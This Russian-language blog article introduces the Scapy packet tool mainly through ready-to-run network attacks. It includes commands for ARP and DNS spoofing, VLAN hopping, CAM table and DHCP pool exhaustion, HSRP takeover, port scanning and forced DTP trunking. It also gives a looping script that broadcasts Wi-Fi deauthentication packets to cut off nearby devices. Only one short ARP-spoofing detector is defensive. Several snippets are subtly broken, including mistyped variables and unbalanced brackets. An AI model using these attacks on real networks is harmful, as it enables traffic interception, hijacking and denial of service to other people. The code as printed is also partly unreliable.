Мощь Scapy

в 20:21, , рубрики: python, scapy, информационная безопасность, метки:

Scapy — инструмент создания и работы с сетевыми пакетами. Программа написана на языке python, автор Philippe Biondi. Познакомиться с основным функционалам можно здесь. Scapy — универсальный, поистине мощный инструмент для работы с сетью и проведения исследований в области информационной безопасности. В статье я попытаюсь заинтересовать Вас использовать scapy в своей работе/проектах. Думаю, что лучше всего этого можно добиться, показав на примерах основные преимущества scapy.
В качестве примеров я возьму простые и наглядные задачи, которые можно решить средствами scapy. Основным направлением будет формирование пакетов для реализации того или иного вида атак.

ARP-spoofing

>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))

Сформированный таким образом пакет «отравит» arp кэш targetIP. Одна из сильных черт scapy — наглядность, то есть Вам необходимо понимать, что Вы хотите сделать, конечно это может создать некоторые трудности, но зато поможет сформировать целостную картину и защитит от «выстрела в ногу». Например, взглянув на сформированный таким образом пакет, становится понятно, что ARP-spoofing не вылечить с помощью port security потому, что MAC адрес отправителя не меняется, в таком случае нас спасет только arp инспекция. Хотя, давайте попробуем реализовать защиту с использованием scapy. Предположим, что весь трафик коммутатора мы зеркалируем на порт, где у нас будет происходить анализ. Выявлять атаку предлагаю по принципу, если компьютер не отправлял arp запрос, то и arp ответа он получать не должен.

import time
from scapy.all import *

arp_table = {}
def arp_inspection(pkt):
    global arp_table
    op = pkt.getlayer(ARP).op
    src = pkt.getlayer(Ether).src
    if op == 1:          # op is who-has
        arp_table[src] = time.time()
    if op == 2:          # op is is-at
	dst = pkt.getlayer(Ether).dst
        if dst in arp_table:
            time_arp_req = arp_table.pop(dst, None)
            if int(time.time() - time_arp_req) > 5:
                print "Alert! Attack from %s" % src
        else:
            print "Alert! Attack from %s" % src

sniff(filter='arp', prn=arp_inspection)

Скрипт отрабатывает заложенную логику и такие программы, как например «cain & abel» не смогут бесшумно провести ARP-spoofing. Но мы с Вами знаем, что есть особенности реализации arp в некоторых операционных системах, а именно если компьютеру приходит arp запрос с просьбой сообщить информацию о себе, он автоматически доверяет ему и заносит соответствие ip-mac отправителя к себе в таблицу. Т.е. следующий пакет так же «отравит» arp кэш.

>>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))

В этом случае наш скрипт не будет эффективен. Получается, что работая со scapy Вы изучаете не только программу, но и сами протоколы, их логику.

VLAN Hooping

>>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()

Следующим достоинством scapy, считаю — гибкость. Классическим примером(гибкости) является ситуация, когда нам необходимо произвести arp-spoofing в соседнем vlan, нам не придется писать новую программу, надо правильно собрать пакет.

>>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))

Конечно, такой «финт ушами» сработает если разделения на vlan будет внутри одного широковещательного домена.

CAM Table Overflow

>>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)

RandMAC() — функция возвращает произвольное значение, в формате MAC адреса; параметр loop — зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Наверное, это пример простоты реализации некоторых атак.

Больше примеров

Далее я покажу примеры практически без описания, они просты и, возможно, некоторые из них послужат отправной точкой для использования scapy в Вашей работе. Например, исчерпание DHCP пула выглядит следующим образом.

>>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)

DNS-spoofing реализуется так.

send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))

HSRP spoofing

sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1) 

src mac – HSRP virtual MAC (возможный диапазон 00:00:0C:9F:F0:00 — 00:00:0C:9F:FF:FF); dst mac – IP v4 multicast MAC (возможный диапазон 01:00:5E:00:00:00 — 01:00:5E:00:00:FF); ip dst – ipv4 multicast address (224.0.0.0/24); priority – приоритет маршрута, значения от 0 до 255; inter=3 — в соответствии с интервалом по умолчанию на оборудовании cisco; все остальные настройки, аналогичны настройкам по умолчанию оборудования cisco. Такой пакет сделает attacerIP активным HSRP маршрутом.
Различные способы сканирование портов.

>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas

Посмотреть результат можно таким образом.

if res.getlayer(TCP).flags == 0x12:
    print "Open"
elif res.getlayer(TCP).flags == 0x14:
    print "Close"

Или так.

>>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
>>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% t %TCP.flags%")
https      RA
www        SA
ssh        RA

Следующая положительная особенность scapy — возможность создавать протоколы самостоятельно.Протокол DTP не реализован в рамках штатного набора, зато его можно загрузить как модуль.

>>> load_contrib('dtp')

Опасность DTP состоит в том, что мы самостоятельно можем перевести порт коммутатора в режим trunk и получить расширенный доступ. Если взглянуть в исходники модуля, то увидим там функцию которая нам поможет включить режим trunk на интерфейсе.

def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print "Trying to negotiate a trunk on interface %s" % iface
    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
    sendp(p)

Вместе с загрузкой протокола DTP, мы загружаем и функцию negotiate_trunk, можем её выполнить прямо из консоли интерпретатора и результат не заставит себя долго ждать.

>>> negotiate_trunk()

802.11

Scapy может успешно работать с беспроводными сетями, в большинстве функционала способен заменить Aircrack-ng. Например, посмотреть список доступных сетей можно так.

from scapy.all import *

ap_list = []
def ssid(pkt) : 
    if pkt.haslayer(Dot11) : 
        if pkt.type == 0 and pkt.subtype == 8:      # type 0 subtype 8 - Beacon packet type
            if pkt.addr2 not in ap_list:
                ap_list.append(pkt.addr2)
                print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
				
sniff(iface='mon0', prn=ssid)

Довольно просто, давайте что-нибудь посложнее. Предположим, что Вам поставлена задача не допустить работы беспроводных устройств на контролируемой территории. Каким образом это организовать, если не прибегать к радиочастотным глушителям? Одним из вариантов может являться подавление работы устройств пользователей. Организовать это можно путем отправки клиентам Deauth пакета.

Скрипт широковещательной отправки Deauth пакетов

from scapy.all import *
import random, time, sys
from multiprocessing import Process

iface='mon0'
def wifi_snif():
	pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp))
	u_pkt = []
	u_addr2 = []
	for p in pkt:
		if p.addr2 not in u_addr2:
			u_pkt.append(p)
			u_addr2.append(p.addr2)
	return u_pkt

def deauth(pkt):
	os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info)))
	sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0)

def chg_cnl():
	while True:
		cnl = random.randrange(1,12)
		os.system("iw dev %s set channel %d" % (iface, cnl))
		time.sleep(0.3)

def main_fnc():
	p = Process(target=chg_cnl)
	p.start()
	pkt_ssid = wifi_snif()
	p.terminate()
	for pkt in pkt_ssid:
		deauth(pkt)

while 1:
	main_fnc() 

Начинающие исследователи могут упростить подход к задачам фаззинга протоколов, в scapy реализован простейший функционал. Например, простейший фаззинг Beacon пакетов может выглядеть так.

>>>sendp(RadioTap(version=0, pad=0)/
         Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
         Dot11Beacon(cap="ESS") / 
         fuzz(Dot11Elt(ID="SSID"))/
         fuzz(Dot11Elt(ID="Rates")/
         fuzz(ID="DSset"))/
         fuzz(Dot11Elt(ID="TIM")),
         iface="mon0", count=10, inter=0.05, verbose=0)

Нагрузочное тестирование

Последним в списке примеров, но далеко не последним по значению, у меня будет использование scapy для проведения нагрузочного тестирования на каналы связи. Я в этом вопросе не специалист и возможно объём генерируемого трафика не самый важный параметр, но все же. В scapy это делается просто, как и многое другое.

>>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)

По выполнению команды, должен появится подобный результат.

Мощь Scapy - 1
На стороне приема трафика замер wireshark'ом подтверждает цифры отправителя.

Мощь Scapy - 2

Итоги

Итак, перечислим достоинства.
1) Наглядность (понимание того, что будет происходить)
2) Гибкость (пакеты можно собирать как угодно)
3) Расширяемость (создание собственных протоколов)
4) Python
Надеюсь, мне удалось достичь поставленных целей и в случае необходимости Вы вспомните о существовании такого инструмента, как scapy. Если будет интерес к статье, я постараюсь написать(перевести и адаптировать) материал по созданию собственных протоколов в scapy.

P.S.
Последнюю версию scapy можно загрузить со scapy.net. В статье были использованы материалы официальной документации scapy.

Автор: icebreaker

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js